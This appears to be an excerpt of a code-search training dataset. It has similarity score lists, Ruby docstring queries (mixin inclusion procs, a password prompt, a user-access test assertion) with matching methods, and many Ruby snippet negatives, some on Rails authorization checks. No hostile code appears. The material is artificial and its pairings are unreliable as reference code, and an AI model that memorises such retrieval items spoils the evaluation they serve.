[ "0.6269942", "0.62085956", "0.60153866", "0.59598154", "0.58800614", "0.5878395", "0.58030134", "0.57985556", "0.5784362", "0.57606655", "0.57126385", "0.5712488", "0.5709556", "0.5693825", "0.5692376", "0.56261975", "0.5625326", "0.5608248", "0.56036484", "0.559852", "0.558133", "0.55784816", "0.55679846", "0.5565435", "0.5564487", "0.555845", "0.5551729", "0.55429924", "0.5541451", "0.5533468", "0.5531536", "0.5508137", "0.55074495", "0.54962355", "0.5488549", "0.5485267", "0.54822993", "0.54819524", "0.54631925", "0.54613453", "0.54586273", "0.54577076", "0.54568225", "0.54564816", "0.5454386", "0.54454046", "0.54276425", "0.5424859", "0.5416966", "0.540923", "0.5406538", "0.53958243", "0.53750587", "0.5361893", "0.5358613", "0.53525555", "0.53525555", "0.53525555", "0.533363", "0.5333102", "0.53235173", "0.5323414", "0.53218436", "0.5316638", "0.53152764", "0.53134024", "0.5303706", "0.5296827", "0.5288746", "0.52785885", "0.5277181", "0.52701485", "0.52633494", "0.5257358", "0.52509665", "0.52332014", "0.5231806", "0.52273345", "0.5227262", "0.52141714", "0.5210109", "0.5208698", "0.5203592", "0.519919", "0.5198624", "0.51982135", "0.51947695", "0.5194425", "0.5192495", "0.5192495", "0.5192495", "0.5192495", "0.5192495", "0.5191622", "0.51851773", "0.51775926", "0.51696974", "0.5169029", "0.5161021", "0.5159876" ]
0.75565386
0
Set an inclusion proc for this mixin. This block is evaluated in the tool class immediately after the mixin is included, and is passed any arguments provided to the `include` directive.
def on_include(&block) self.inclusion = block self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def when_included(&block)\n @cautious_included_block = block\n end", "def before_inclusion(&block)\n if block && block.respond_to?(:call)\n before_inclusion_procs << block\n else\n raise 'Anything added to be called before_inclusion must be callable (respond to #call).'\n end\n end", "def before_include( *contexts, & block )\n \n add_execution_context( *contexts )\n add_hook_context( :before_include )\n action( & block ) if block_given?\n \n return self\n \n end", "def include(*args)\n include_or_extend(:include, *args)\n end", "def included(*args)\n quando_incluso *args\n end", "def includes(*args)\n @options[:include] ||= []\n @options[:include] |= args\n end", "def include(arg)\n Object.module_eval \"include #{arg}\"\n end", "def before_include_or_extend( & block )\n \n add_hook_context( :before_include )\n add_hook_context( :before_extend )\n action( & block ) if block_given?\n \n return self\n \n end", "def add_include include\n add_to @includes, include\n\n include\n end", "def before_include( *contexts, & block )\n \n return frame_definer.before_include( *contexts, & block )\n \n end", "def set_include_statement\n super\n end", "def set_Include(value)\n set_input(\"Include\", value)\n end", "def set_Include(value)\n set_input(\"Include\", value)\n end", "def set_Include(value)\n set_input(\"Include\", value)\n end", "def include(header)\n @inc << \"#include #{header}\"\n end", "def include inc\n @includes << inc\n end", "def include=(_arg0); end", "def include(*args)\n include_private(*args)\n end", "def add_include(include)\n @includes << include\n end", "def add_include(include)\n add_to @includes, include\n end", "def new_include_cmd\n super(apt_site: apt_site.actor)\n end", "def set_included_in\n @included_in = IncludedIn.find([params[:id], params[:album_id]])\n end", "def included(base = nil, &block)\n if base.nil?\n if instance_variable_defined?(:@_included_block)\n if @_included_block.source_location != block.source_location\n raise MultipleIncludedBlocks\n end\n else\n @_included_block = block\n end\n else\n super\n end\n end", "def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array.wrap(include_associations)\n\n for association in associations\n records = case @serializable.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @serializable.send(association).to_a\n when :has_one, :belongs_to\n @serializable.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end", "def include(mod,*more) end", "def each_include # :yields: include\n @includes.each do |i| yield i end\n end", "def each_include # :yields: include\n @includes.each do |i| yield i end\n end", "def set_Included(value)\n set_input(\"Included\", value)\n end", "def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array(include_associations)\n\n for association in associations\n records = case @record.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(association).to_a\n when :has_one, :belongs_to\n @record.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end", "def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array(include_associations)\n\n for association in associations\n records = case @record.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(association).to_a\n when :has_one, :belongs_to\n @record.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end", "def add_included_hook\n attribute_proc = attribute_method(configuration)\n constructor = configuration.constructor\n mass_assignment = configuration.mass_assignment\n extensions = core_extensions\n inclusions = core_inclusions\n\n self.module.define_singleton_method :included do |object|\n super(object)\n extensions.each { |mod| object.extend(mod) }\n inclusions.each { |mod| object.send(:include, mod) }\n object.send(:include, Model::Constructor) if constructor\n object.send(:include, Model::MassAssignment) if mass_assignment\n object.send(:define_singleton_method, :attribute, attribute_proc)\n end\n end", "def includes(*args)\n config.includes.push *args\n end", "def include(mod)\n mod.append_features(self)\n Rubinius.privately do\n mod.included self\n end\n self\n end", "def auto_include!\n mixins = @@class_mixins[name]\n send(:include, *mixins) if mixins\n end", "def include_guard_begin(&block)\n lang_eval { @include_guard_begin_block = block }\n nil\n end", "def included(host)\n host.instance_exec(@block) do |block|\n define_singleton_method(:call, &block)\n end\n end", "def included( hooked_instance )\n \n super if defined?( super )\n \n end", "def before_include_or_extend( *contexts, & block )\n\n return frame_definer.before_include_or_extend( *contexts, & block )\n\n end", "def includes(options)\n @includes = options\n end", "def included(mod); end", "def add_include(path)\n @includes << path\n end", "def add_include(path)\n @includes << path\n end", "def extension_strategy\n mixin? ? '@include ' : '@extend %'\n end", "def included(submodule)\n super\n submodule.instance_eval { extend Mixin }\n submodule\n end", "def do_xinclude(options = T.unsafe(nil)); end", "def do_xinclude(options = T.unsafe(nil)); end", "def include_file(spec)\n elements << Raw.new(\" Include '#{spec}'\")\n end", "def include_strategy\n :includes\n end", "def do_includes\n @body.scan(/rb_include_module\\s*\\(\\s*(\\w+?),\\s*(\\w+?)\\s*\\)/) do |c,m|\n if cls = @classes[c]\n m = @known_classes[m] || m\n cls.add_include(Include.new(m, \"\"))\n end\n end\n end", "def add_included_hook\n with_hook_context do |context, builder|\n mod.define_singleton_method :included do |object|\n super(object)\n Builder.pending << object unless context.finalize?\n builder.core_extensions.each { |mod| object.extend(mod) }\n builder.core_inclusions.each { |mod| object.send(:include, mod) }\n object.send(:include, Model::Constructor) if context.constructor?\n object.send(:include, Model::MassAssignment) if context.mass_assignment?\n object.define_singleton_method(:attribute, context.attribute_method)\n end\n end\n end", "def initialize\n\n # call super to make @base_engine available\n super\n \n @engine = Proc.new do |options|\n\n # check if require should be relative or not\n req = (options[['relative']].is__null | options[['relative']].isTRUE) >> 0\n \n # load the content of the file in options.code\n options.code = GalaazUtil.inline_file(options.label >> 0, req)\n\n @base_engine.call(options)\n end\n \n # Add the include engine function for processing the rb block\n add(include: @engine)\n \n end", "def process_include anElement\r\n self.transform_include anElement.content\r\n end", "def include; end", "def include; end", "def included(host)\n host.instance_exec(@block) do |block|\n define_singleton_method(:call, &block)\n end\n\n host.extend(ClassMethods)\n end", "def set_IncludeSource(value)\n set_input(\"IncludeSource\", value)\n end", "def do_xinclude(options = XML::ParseOptions::DEFAULT_XML)\n options = Nokogiri::XML::ParseOptions.new(options) if Integer === options\n\n # give options to user\n yield options if block_given?\n\n # call c extension\n process_xincludes(options.to_i)\n end", "def include( *modules )\n \n super if defined?( super )\n original_include( *modules )\n \n end", "def included; end", "def register_processor(*args, &block)\n register_preprocessor(*args, &block)\n end", "def set_includes\n @includes = params[:i].nil? ? [] : eval(params[:i])\n @includes_list = @includes.map{|b| b.is_a?(Hash) ? b.to_a.flatten : b}.flatten || []\n #Rails.logger.debug @includes\n #Rails.logger.debug @includes_list\n end", "def include(mod)\n mod.included(self)\n end", "def each_include(into, *names, &block)\n return if names.compact.empty?\n into.__send__(:include, *each(*names, &block))\n end", "def insert_include(text, markup = T.unsafe(nil)); end", "def add_include(include)\n object_class.record_location self\n return include unless @document_self\n object_class.add_include include\n end", "def include_above(mod1, mod) end", "def include(*files)\n @include += files.flatten\n self\n end", "def include(mod, opts = {})\n inclusions << Inclusion.new(mod, opts)\n end", "def set_inclusion\n @inclusion = Inclusion.find(params[:id])\n end", "def parse_includeblock\n result = @src.scan(INCLUDEBLOCK_MATCH)\n result.gsub!(INCLUDEBLOCK_START, '')\n result.gsub!('(', '')\n result.gsub!(')', '')\n\n el = new_block_el(:includeblock)\n @tree.children << el\n parse_blocks(el, result)\n true\n end", "def do_includes\n @content.scan(/rb_include_module\\s*\\(\\s*(\\w+?),\\s*(\\w+?)\\s*\\)/) do |c,m|\n next unless cls = @classes[c]\n m = @known_classes[m] || m\n\n comment = new_comment '', @top_level, :c\n incl = cls.add_include RDoc::Include.new(m, comment)\n incl.record_location @top_level\n end\n end", "def pre(&a_proc)\n @@pre_block = a_proc\n end", "def included(a_module)\n end", "def after_include( *contexts, & block )\n\n add_execution_context( *contexts )\n add_hook_context( :after_include )\n action( & block ) if block_given?\n \n return self\n\n end", "def after_include_or_extend( & block )\n\n add_hook_context( :after_include )\n add_hook_context( :after_extend )\n action( & block ) if block_given?\n \n return self\n\n end", "def inclusion_assigner\n @inclusion_assigner ||= DirtySeed::Assigners::Inclusion.new(__getobj__)\n end", "def included(klass); end", "def included(klass); end", "def included(host)\n host.instance_exec(@modules, @body) do |modules, body|\n include(*modules)\n define_method(:each, &body)\n end\n end", "def includes\n @includes ||= params[:include].to_s.split(',')\n end", "def include(pattern)\n includes << pattern\n end", "def include(*i)\n @includes |= i.flatten\n end", "def prepend_before(*args, &proc)\n scope, options = scope_and_options(*args)\n example_group = ExampleGroupFactory.get(\n get_type_from_options(options)\n )\n example_group.prepend_before(scope, &proc)\n end", "def set_includes\n @data = get_resource.attributes\n\n # wrap sideloading in a ActiveRecord.transaction\n # because you can pass 'destroy' to the includes\n # which could destroy the resource\n get_resource.transaction do\n params[:include].split(\",\").each do |includes|\n @data[\"#{includes}\"] = get_resource.try(includes)\n\n # reverts the transaction if resource\n # was deleted or changed\n if get_resource.destroyed? || get_resource.changed?\n @data.delete(\"#{includes}\")\n raise ActiveRecord::Rollback\n end\n end\n end\n end", "def preprocess(&block)\n @site.preprocessor = block\n end", "def add_includes(inc)\r\n return if inc.nil?\r\n \r\n inc = [inc] if (!inc.respond_to?(:each) || inc.kind_of?(String))\r\n \r\n if inc.include?(:all)\r\n ole_methods.each do |m|\r\n m = m.to_s\r\n if m =~ /\\AInclude/ && m != 'IncludeRetElementList'\r\n @request.__send__(\"#{m.underscore}=\", true)\r\n end\r\n end\r\n return\r\n end\r\n \r\n inc.each do |item|\r\n cam_item = item.to_s.camelize.gsub(/Id/, \"ID\")\r\n if @request.respond_to_ole?(\"Include#{cam_item}\")\r\n @request.__send__(\"include_#{item}=\", true)\r\n else\r\n @request.IncludeRetElementList.Add(cam_item)\r\n end\r\n end\r\n end", "def include_options\n { include: parsed_associations || [], methods: parsed_methods || [] }\n end", "def included(othermod) end", "def before(&proc)\n @before = proc if proc\n @before\n end", "def include string\n @include << to_tag(string)\n end", "def add_include_to_node(node, corrector)\n if node.class_type? || node.module_type?\n # indent the include statement\n corrector.insert_after(class_logger_pos(node),\n logger_include_code(node.loc.keyword.column))\n else\n # otherwise put it at the top\n corrector.insert_before(node.loc.expression, logger_include_code)\n end\n end", "def include(x)\n REPLSupport.inc(x)\nend", "def include_association(*args)\n options = args.extract_options!\n if (action = options.delete(:authorize_action)).present?\n args.each do |association_name|\n authorize_action(action, association_name, options)\n end\n end\n if options[:scope_association].present?\n args.each do |association_name|\n scope_association(association_name, options)\n end\n end\n set_option_array_values(:include, *args, options) # include options hash since removed in extract_options!\n end", "def mixin!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n type = MIXIN\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 162:9: 'mixin'\n match( \"mixin\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end", "def add_includes out, includes\n add_extension_modules out, 'Includes', includes\n end", "def include?(arg)\n arg.is_a?(Module) ? !!included_modules.detect{ |m| m === arg } : store.include?(arg)\n end", "def __included(base, mod, tag = nil)\n __trace { \"... including #{tag || mod.try(:name) || mod} in #{base}\" }\nend", "def include(*a)\n res = super\n def_roda_before\n def_roda_after\n res\n end", "def include( *modules, & block )\n\n new_stack_frame( :include, *modules, & block )\n \n return self\n \n end", "def included(klass)\n Registry.register_implementation(\n Inflector.underscore(klass.name).to_sym,\n klass\n )\n klass.extend(Macros)\n end" ]
[ "0.6221959", "0.6211982", "0.61903054", "0.61840326", "0.6139432", "0.609612", "0.606477", "0.6002307", "0.5992969", "0.5987443", "0.5961427", "0.59278387", "0.59278387", "0.59278387", "0.59224725", "0.58986557", "0.58627254", "0.5860639", "0.58554924", "0.5831537", "0.58306277", "0.57652336", "0.5744903", "0.57275283", "0.5724451", "0.5710904", "0.5710904", "0.567882", "0.56314844", "0.56314844", "0.5628708", "0.56220526", "0.5618965", "0.5591461", "0.5530349", "0.5529738", "0.5522174", "0.5497353", "0.5493145", "0.5492614", "0.5474128", "0.5474128", "0.5459409", "0.5457411", "0.54406273", "0.54406273", "0.5437991", "0.5403117", "0.53909934", "0.5376134", "0.5353353", "0.53400403", "0.5336596", "0.5336596", "0.53316814", "0.53255314", "0.5319629", "0.52907467", "0.52829105", "0.5279465", "0.52617335", "0.5249011", "0.5237571", "0.52354044", "0.5230336", "0.5197591", "0.5193138", "0.5163377", "0.5159353", "0.5142924", "0.51377815", "0.5108415", "0.5103398", "0.5099069", "0.5095621", "0.5088183", "0.507247", "0.507247", "0.50567067", "0.50511795", "0.5048896", "0.50467676", "0.5041512", "0.5030777", "0.5019589", "0.50116545", "0.50087285", "0.499019", "0.49812028", "0.49770772", "0.49701992", "0.49697655", "0.4966755", "0.49562216", "0.49527583", "0.4940969", "0.49311635", "0.49274313", "0.49266073", "0.49212688" ]
0.7361768
0
Eric Harman Created: 11/12/2015
def get_user_password puts "Welcome to the password strength checking program." print "Enter password: " password = gets.chomp return password end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def schubert; end", "def formation; end", "def probers; end", "def schumann; end", "def verdi; end", "def terpene; end", "def stderrs; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def suivre; end", "def berlioz; end", "def jack_handey; end", "def who_we_are\r\n end", "def trd; end", "def anchored; end", "def villian; end", "def malts; end", "def custom; end", "def custom; end", "def dh; end", "def transformations; end", "def celebration; end", "def identify; end", "def offences_by; end", "def zuruecksetzen()\n end", "def refutal()\n end", "def herald; end", "def gounod; end", "def feruchemist; end", "def blg; end", "def mambo_no_5; end", "def tld; end", "def tld; end", "def strain; end", "def bs; end", "def iso; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def king_richard_iii; end", "def order; end", "def order; end", "def implementation; end", "def implementation; end", "def operations; end", "def operations; end", "def hd\n \n end", "def scientist; end", "def cardinal; end", "def yyerrok; end", "def yyerrok; end", "def original; end", "def weber; end", "def rossini; end", "def real_name; end", "def p15\n\t\nend", "def upc_e; end", "def ismn; end", "def mitch_hedberg; end", "def calculated; end", "def bellini; end", "def herebody_s; end", "def romeo_and_juliet; end", "def manufacture; end", "def transform; end", "def parts; end", "def parts; end", "def parts; end", "def droid; end", "def sld; end", "def desc; end", "def returns; end", "def guct\n end", "def tt; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def timestamp; end", "def internal; end", "def entry; end", "def entry; end", "def entry; end", "def entry; end", "def hiss; end", "def loc; end" ]
[ "0.6931777", "0.6831812", "0.6461347", "0.639777", "0.6227045", "0.622278", "0.6120379", "0.61015177", "0.6026858", "0.6026858", "0.6026858", "0.6026858", "0.60167944", "0.60154283", "0.60036105", "0.5968127", "0.5964167", "0.5916282", "0.57789636", "0.5756168", "0.5654938", "0.5654938", "0.5648675", "0.5639696", "0.5631252", "0.5628999", "0.5625583", "0.5619092", "0.5595723", "0.55946344", "0.55919665", "0.5580137", "0.5566602", "0.55645937", "0.55405825", "0.55405825", "0.5533643", "0.55313003", "0.5527899", "0.5526994", "0.5526994", "0.5526994", "0.5526994", "0.5526994", "0.5526994", "0.5515027", "0.5515027", "0.5515027", "0.5515027", "0.5515027", "0.5515027", "0.5515027", "0.5515027", "0.549776", "0.54740703", "0.54740703", "0.5461173", "0.5461173", "0.54497766", "0.54497766", "0.5444311", "0.5419179", "0.54115695", "0.5407197", "0.5407197", "0.54032826", "0.54017687", "0.5387877", "0.5377573", "0.5371112", "0.5359462", "0.5355368", "0.5355026", "0.5354651", "0.53534013", "0.5348605", "0.53397274", "0.53379923", "0.5337284", "0.53328747", "0.53328747", "0.53328747", "0.53279144", "0.53238946", "0.53238285", "0.5318589", "0.5314082", "0.5310638", "0.53016645", "0.53016645", "0.53016645", "0.53016645", "0.53016645", "0.53016645", "0.5287261", "0.52865416", "0.52865416", "0.52865416", "0.52865416", "0.5282541", "0.5272392" ]
0.0
-1
Makes sure a user cant access the given action Example: assert_user_cant_access(:quentin, "destroy", :listing_id => 1)
def assert_user_cant_access(user, actions, params = {}) assert_user_access_check(false, user, actions, params) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def access_denied\n request.env[\"HTTP_REFERER\"] = journals_path\n yield\n assert_redirected_to root_path\n assert_equal \"You are not authorized to access this page.\", flash[:alert]\n end", "def assert_forbidden\n get :index\n\n assert_redirected_to login_path\n assert_equal evaluations_path, session[:return_to]\n assert_equal STRINGS[:not_logged_in], flash[:notice]\n assert_nil @controller.current_user\n end", "def access!(user, access)\n return if access?(user, access)\n\n raise Exceptions::NotAuthorized\n end", "def access_denied\n end", "def access_denied\n\n end", "def test_index_unauthorized\n get :index\n assert_response :redirect\n assert_redirected_to :action => \"login\"\n assert_equal \"Please log in first\", flash[:notice]\n end", "def allow\n Test::Spec::Rails::Macros::Authorization::TestGenerator.new(test_case,\n :access_denied?, false,\n 'Expected access to be allowed'\n )\n end", "def not_allowed! redirect = root_url\n raise Exceptional::Unauthorized.new(\"Sorry, I was could not perform the action you requested!\")\n end", "def has_access?( action )\n unless @sir_log.permitted_to_access?( current_user.id )\n render_no_access\n return false\n end\n return true if [ 'index', 'new', 'create', 'show_stats' ].include?( action_name )\n unless current_user.permission_to_access( feature_identifier, action, @sir_item.group_id )\n render_no_permission \n return false \n end\n return true\n end", "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end", "def check_accessible\n if current_user\n myaction=Action.find_controller_action(params[:controller], params[:action])\n raise \"Page not found\" unless !myaction || myaction.accessible(current_user) || Group.find(2).has_user(current_user) # this is a nasty hack to stop errors because there are links to actions accessible only by users. Need to sort out access management!!\n end\n end", "def deny_access_action( txn, *args )\n\t\t\tself.log.error \"Unauthorized request for %s\" % [ txn.uri ]\n\t\t\ttxn.status = Apache::FORBIDDEN\n\t\t\treturn \"access denied\"\n\t\tend", "def action_allowed?(action_name, user)\n return false\n end", "def has_access?( action )\n unless( action_name == :show && @sir_item.sir_log.permitted_to_access?( current_user.id )) ||\n @sir_item.sir_log.permitted_to_update?( current_user.id )\n render_no_access \n return false\n end\n g = [ :new, :create ].include?( action_name ) ? @sir_item.resp_next_entry : @sir_entry.resp_this_entry\n unless current_user.permission_to_access( feature_identifier, action, g.id )\n render_no_permission \n return false\n end\n true\n end", "def controller_actions_should_fail_if_not_logged_in(cont, opts={})\n except= opts[:except] || []\n actions_to_test= get_all_actions(cont).reject{ |a| except.include?(a) }\n actions_to_test += opts[:include] if opts[:include]\n actions_to_test.each do |a|\n get a\n response.should_not be_success\n response.should redirect_to('http://test.host/')\n end\n end", "def assert_access_without_login(*actions)\n\t\t\tuser_options = actions.extract_options!\n\n\t\t\toptions = {}\n\t\t\tif ( self.constants.include?(:ASSERT_ACCESS_OPTIONS) )\n\t\t\t\toptions.merge!(self::ASSERT_ACCESS_OPTIONS)\n#\t\t\telsif ( self.constants.include?('ASSERT_ACCESS_OPTIONS') )\n#\t\t\t\toptions.merge!(self::ASSERT_ACCESS_OPTIONS)\n\t\t\tend\n\t\t\toptions.merge!(user_options)\n\t\t\tactions += options[:actions]||[]\n\n\t\t\tm_key = options[:model].try(:underscore).try(:to_sym)\n\n\t\t\ttest \"#{brand}AWoL should get new without login\" do\n\t\t\t\tget :new\n\t\t\t\tassert_response :success\n\t\t\t\tassert_template 'new'\n\t\t\t\tassert assigns(m_key), \"#{m_key} was not assigned.\"\n\t\t\t\tassert_nil flash[:error], \"flash[:error] was not nil\"\n\t\t\tend if actions.include?(:new) || options.keys.include?(:new)\n\n\t\t\ttest \"#{brand}AWoL should post create without login\" do\n\t\t\t\targs = if options[:create]\n\t\t\t\t\toptions[:create]\n\t\t\t\telsif options[:attributes_for_create]\n\t\t\t\t\t{m_key => send(options[:attributes_for_create])}\n\t\t\t\telse\n\t\t\t\t\t{}\n\t\t\t\tend\n\t\t\t\tassert_difference(\"#{options[:model]}.count\",1) do\n\t\t\t\t\tsend(:post,:create,args)\n\t\t\t\tend\n\t\t\t\tassert_response :redirect\n\t\t\t\tassert_nil flash[:error], \"flash[:error] was not nil\"\n\t\t\tend if actions.include?(:create) || options.keys.include?(:create)\n\n#\t\t\ttest \"should NOT get edit without login\" do\n#\t\t\t\targs=[]\n#\t\t\t\tif options[:factory]\n#\t\t\t\t\tobj = Factory(options[:factory])\n#\t\t\t\t\targs.push(:id => obj.id)\n#\t\t\t\tend\n#\t\t\t\tsend(:get,:edit, *args)\n#\t\t\t\tassert_redirected_to_login\n#\t\t\tend if actions.include?(:edit) || options.keys.include?(:edit)\n#\n#\t\t\ttest \"should NOT put update without login\" do\n#\t\t\t\targs={}\n#\t\t\t\tif options[:factory]\n#\t\t\t\t\tobj = Factory(options[:factory])\n#\t\t\t\t\targs[:id] = obj.id\n#\t\t\t\t\targs[options[:factory]] = Factory.attributes_for(options[:factory])\n#\t\t\t\tend\n#\t\t\t\tsend(:put,:update, args)\n#\t\t\t\tassert_redirected_to_login\n#\t\t\tend if actions.include?(:update) || options.keys.include?(:update)\n\n\t\t\ttest \"#{brand}AWoL should get show without login\" do\n\t\t\t\targs={}\n\t\t\t\tif options[:method_for_create]\n\t\t\t\t\tobj = send(options[:method_for_create])\n\t\t\t\t\targs[:id] = obj.id\n\t\t\t\tend\n\t\t\t\tsend(:get,:show, args)\n\t\t\t\tassert_response :success\n\t\t\t\tassert_template 'show'\n\t\t\t\tassert assigns(m_key), \"#{m_key} was not assigned.\"\n\t\t\t\tassert_nil flash[:error], \"flash[:error] was not nil\"\n\t\t\tend if actions.include?(:show) || options.keys.include?(:show)\n\n#\t\t\ttest \"should NOT delete destroy without login\" do\n#\t\t\t\targs=[]\n#\t\t\t\tif options[:factory]\n#\t\t\t\t\tobj = Factory(options[:factory])\n#\t\t\t\t\targs.push(:id => obj.id)\n#\t\t\t\tend\n#\t\t\t\tassert_no_difference(\"#{options[:model]}.count\") do\n#\t\t\t\t\tsend(:delete,:destroy,*args)\n#\t\t\t\tend\n#\t\t\t\tassert_redirected_to_login\n#\t\t\tend if actions.include?(:destroy) || options.keys.include?(:destroy)\n#\n#\t\t\ttest \"should NOT get index without login\" do\n#\t\t\t\tget :index\n#\t\t\t\tassert_redirected_to_login\n#\t\t\tend if actions.include?(:index) || options.keys.include?(:index)\n\n\t\t\ttest \"#{brand}should get index without login\" do\n\t\t\t\tget :index\n\t\t\t\tassert_response :success\n\t\t\t\tassert_template 'index'\n\t\t\t\tassert assigns(m_key.try(:to_s).try(:pluralize).try(:to_sym)),\n\t\t\t\t\t\"#{m_key.try(:to_s).try(:pluralize).try(:to_sym)} was not assigned.\"\n\t\t\t\tassert_nil flash[:error], \"flash[:error] was not nil\"\n\t\t\tend if actions.include?(:index) || options.keys.include?(:index)\n\n\t\t\ttest \"#{brand}should get index without login and items\" do\n\t\t\t\tsend(options[:before]) if !options[:before].blank?\n\t\t\t\t3.times{ send(options[:method_for_create]) } if !options[:method_for_create].blank?\n\t\t\t\tget :index\n\t\t\t\tassert_response :success\n\t\t\t\tassert_template 'index'\n\t\t\t\tassert assigns(m_key.try(:to_s).try(:pluralize).try(:to_sym)),\n\t\t\t\t\t\"#{m_key.try(:to_s).try(:pluralize).try(:to_sym)} was not assigned.\"\n\t\t\t\tassert_nil flash[:error], \"flash[:error] was not nil\"\n\t\t\tend if actions.include?(:index) || options.keys.include?(:index)\n\n\t\tend", "def test_shold_not_show_to_guest\n sign_out :user\n get :show\n assert_response :redirect\n end", "def test_grader_that_has_active_report_cant_take_on_another_report\n login_as :sean\n post :auto_assign\n assert_redirected_to :controller => :home, :action=>:index\n end", "def verify_access\n unless current_user.id == @organization.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "def check_ownership \t\n \taccess_denied(:redirect => @check_ownership_of) unless current_user_owns?(@check_ownership_of)\n end", "def test_index\n assert Pundit.policy!(@admin_user, Role).index?\n refute Pundit.policy!(@not_admin_user, Role).index?\n end", "def _can_do_action_without_object?(action, action_id)\n if _actions[action].nil?\n _invalid_general_action!(action)\n elsif unrestricted?\n true\n else\n accessly_query.can?(action_id, namespace)\n end\n end", "def admin_access_required\n access_denied unless admin?\n end", "def admin_access_required\n access_denied unless admin?\n end", "def admin_access_required\n access_denied unless admin?\n end", "def authorize!(action, object)\n if can?(action, object)\n true\n else\n raise Kant::AccessDenied, \"You are not permitted to #{action} this record.\"\n end\n end", "def controller_actions_should_fail(cont, opts={})\n except= opts[:except] || []\n actions_to_test= get_all_actions(cont).reject { |a| except.include?(a) } #controller_class.action_methods\n actions_to_test += opts[:include] if opts[:include]\n actions_to_test.each do |a|\n get a\n response.should_not be_success\n #response.should redirect_to('http://test.host/login')\n #flash[:warning].should == @login_warning\n end\n end", "def test_action_security\n # A public action\n get '/goldberg/auth/login'\n assert_response :success\n # An administrator action\n get '/goldberg/users/list'\n assert_redirected_to_login\n\n form_login('admin', 'admin')\n\n get '/goldberg/users/list'\n assert_response :success\n end", "def deny(assertion)\n assert !assertion\n end", "def check_access_destroy\n authorize! :destroy, @tournament\n end", "def test_edit_without_user\n post(:edit, { :id => @cathy_m.id }, {})\n assert_redirected_to :action => \"login\"\n assert_equal(\"Please log in\", flash[:notice])\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def destroy_access_check\n permission_check('destroy')\n end", "def check_permission\n redirect_to dashboard_path, notice: 'You are not authorised to perform this action.' unless current_user&.admin?\n end", "def validate_access(operation, obj, *args)\n if @access_context.cannot?(\"#{operation}_with_token\".to_sym, obj)\n if obj.is_a? Class\n obj = obj.to_s\n end\n logger.info('allowy.access-denied.insufficient-scope', op: \"#{operation}_with_token\", obj: obj, user: user, roles: roles)\n raise CloudController::Errors::ApiError.new_from_details('InsufficientScope')\n end\n\n if @access_context.cannot?(operation, obj, *args)\n if obj.is_a? Class\n obj = obj.to_s\n end\n logger.info('allowy.access-denied.not-authorized', op: operation, obj: obj, user: user, roles: roles)\n raise CloudController::Errors::ApiError.new_from_details('NotAuthorized')\n end\n end", "def test_unredact_way_normal_user\n way = create(:way, :with_history, :version => 2)\n way_v1 = way.old_ways.find_by(:version => 1)\n way_v1.redact!(create(:redaction))\n\n basic_authorization create(:user).email, \"test\"\n\n post :redact, :params => { :id => way_v1.way_id, :version => way_v1.version }\n assert_response :forbidden, \"should need to be moderator to unredact.\"\n end", "def test_shold_not_show_to_non_admin\n sign_in Factory.create(:user)\n get :show\n assert_response :redirect\n end", "def permission_required \n render_403 unless admin? || @user == current_user\n end", "def access_denied\n redirect_to controller: :users, action: :login\n end", "def user_is_allowed_to(action, resource)\n unless logged_in?\n redirect_to \"/login?return_url=\" + URI.encode(request.fullpath)\n return false\n end\n\n @user = logged_in_user\n unless @user.is_allowed(resource, action)\n @error = \"You don't have permission to #{action} #{resource}\"\n @return_url = request.fullpath\n render :template => \"caboose/extras/error\"\n return false\n end\n return true\n end", "def action_allowed?\n current_user_has_ta_privileges?\n end", "def action_allowed?\n current_user_has_ta_privileges?\n end", "def user_is_allowed(resource, action)\n if (!logged_in?)\n redirect_to \"/login?return_url=\" + URI.encode(request.fullpath)\n return\n end\n \n @user = logged_in_user\n if (!@user.is_allowed(resource, action))\n @error = \"You don't have permission to \" + action + \" \" + resource\n render :template => \"extras/error\"\n return false\n end\n \n return true \n end", "def allowed?(action,user)\n\n if user.tenant?\n flash[:notice] = \"Sorry. You are not allowed to perform this action as a tenant\"\n return redirect_to action, notice:\"Sorry. You can't list a property as a tenant\"\n 